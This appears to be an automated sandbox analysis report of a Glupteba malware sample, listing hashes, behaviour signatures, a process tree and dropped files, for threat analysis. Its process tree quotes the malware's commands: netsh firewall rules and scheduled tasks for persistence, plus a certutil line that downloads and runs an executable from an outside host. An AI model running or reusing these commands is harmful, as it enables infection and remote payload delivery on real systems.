Analysis
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max time kernel
126s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 18:12
General
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Target
debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe
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Size
3.9MB
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MD5
a6e6a5298c97037f5f84d5137ce67f50
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SHA1
cbe82b83c5970186d6d3d3fb898bbe3988c96c99
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SHA256
debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b
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SHA512
02bb695f2de853223762c26465cb9963671bcf7ef06145ad5da0809de44f61906282965adbcafd85dfb83cb38712c35bf218f0e042ebf91ff8cf24d4f26799b6
Malware Config
Signatures
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Glupteba
Glupteba is a modular loader written in Golang with various components.
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Glupteba Payload 6 IoCs
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Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
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Executes dropped EXE 3 IoCs
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Modifies Windows Firewall 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
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Suspicious use of SetThreadContext 3 IoCs
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Drops file in Windows directory 2 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
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Suspicious behavior: EnumeratesProcesses 8 IoCs
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Suspicious use of AdjustPrivilegeToken 17 IoCs
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Suspicious use of WriteProcessMemory 52 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe"C:\Users\Admin\AppData\Local\Temp\debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe"C:\Users\Admin\AppData\Local\Temp\debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe"C:\Users\Admin\AppData\Local\Temp\debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe"3⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe"C:\Users\Admin\AppData\Local\Temp\debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b.exe"4⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23\f02377ff5b23.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23\f02377ff5b23.exe" enable=yes6⤵
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""6⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F7⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"7⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v7⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD5a6e6a5298c97037f5f84d5137ce67f50
SHA1cbe82b83c5970186d6d3d3fb898bbe3988c96c99
SHA256debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b
SHA51202bb695f2de853223762c26465cb9963671bcf7ef06145ad5da0809de44f61906282965adbcafd85dfb83cb38712c35bf218f0e042ebf91ff8cf24d4f26799b6
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD5a6e6a5298c97037f5f84d5137ce67f50
SHA1cbe82b83c5970186d6d3d3fb898bbe3988c96c99
SHA256debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b
SHA51202bb695f2de853223762c26465cb9963671bcf7ef06145ad5da0809de44f61906282965adbcafd85dfb83cb38712c35bf218f0e042ebf91ff8cf24d4f26799b6
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD5a6e6a5298c97037f5f84d5137ce67f50
SHA1cbe82b83c5970186d6d3d3fb898bbe3988c96c99
SHA256debbe172912022917f4dd474601c5c482861035e78f9effb590e15310f609c6b
SHA51202bb695f2de853223762c26465cb9963671bcf7ef06145ad5da0809de44f61906282965adbcafd85dfb83cb38712c35bf218f0e042ebf91ff8cf24d4f26799b6
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memory/384-144-0x0000000000000000-mapping.dmp
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memory/416-159-0x0000000000000000-mapping.dmp
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memory/1296-162-0x0000000000000000-mapping.dmp
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memory/1516-158-0x0000000000000000-mapping.dmp
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memory/1868-147-0x0000000000000000-mapping.dmp
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memory/1952-157-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/1952-151-0x0000000000000000-mapping.dmp
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memory/2524-141-0x00000000011BD000-0x0000000001563000-memory.dmpFilesize
3.6MB
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memory/2524-137-0x0000000000000000-mapping.dmp
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memory/3028-145-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/3028-138-0x0000000000000000-mapping.dmp
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memory/3504-136-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/3504-135-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/3504-133-0x0000000000400000-0x0000000000B0F000-memory.dmpFilesize
7.1MB
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memory/3504-132-0x0000000000000000-mapping.dmp
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memory/3840-146-0x0000000000000000-mapping.dmp
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memory/3956-130-0x000000000125A000-0x0000000001600000-memory.dmpFilesize
3.6MB
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memory/3956-131-0x0000000001610000-0x0000000001D05000-memory.dmpFilesize
7.0MB
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memory/4476-143-0x0000000000000000-mapping.dmp
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memory/4800-155-0x0000000001600000-0x00000000019A6000-memory.dmpFilesize
3.6MB
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memory/4800-148-0x0000000000000000-mapping.dmp
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memory/4832-160-0x0000000000000000-mapping.dmp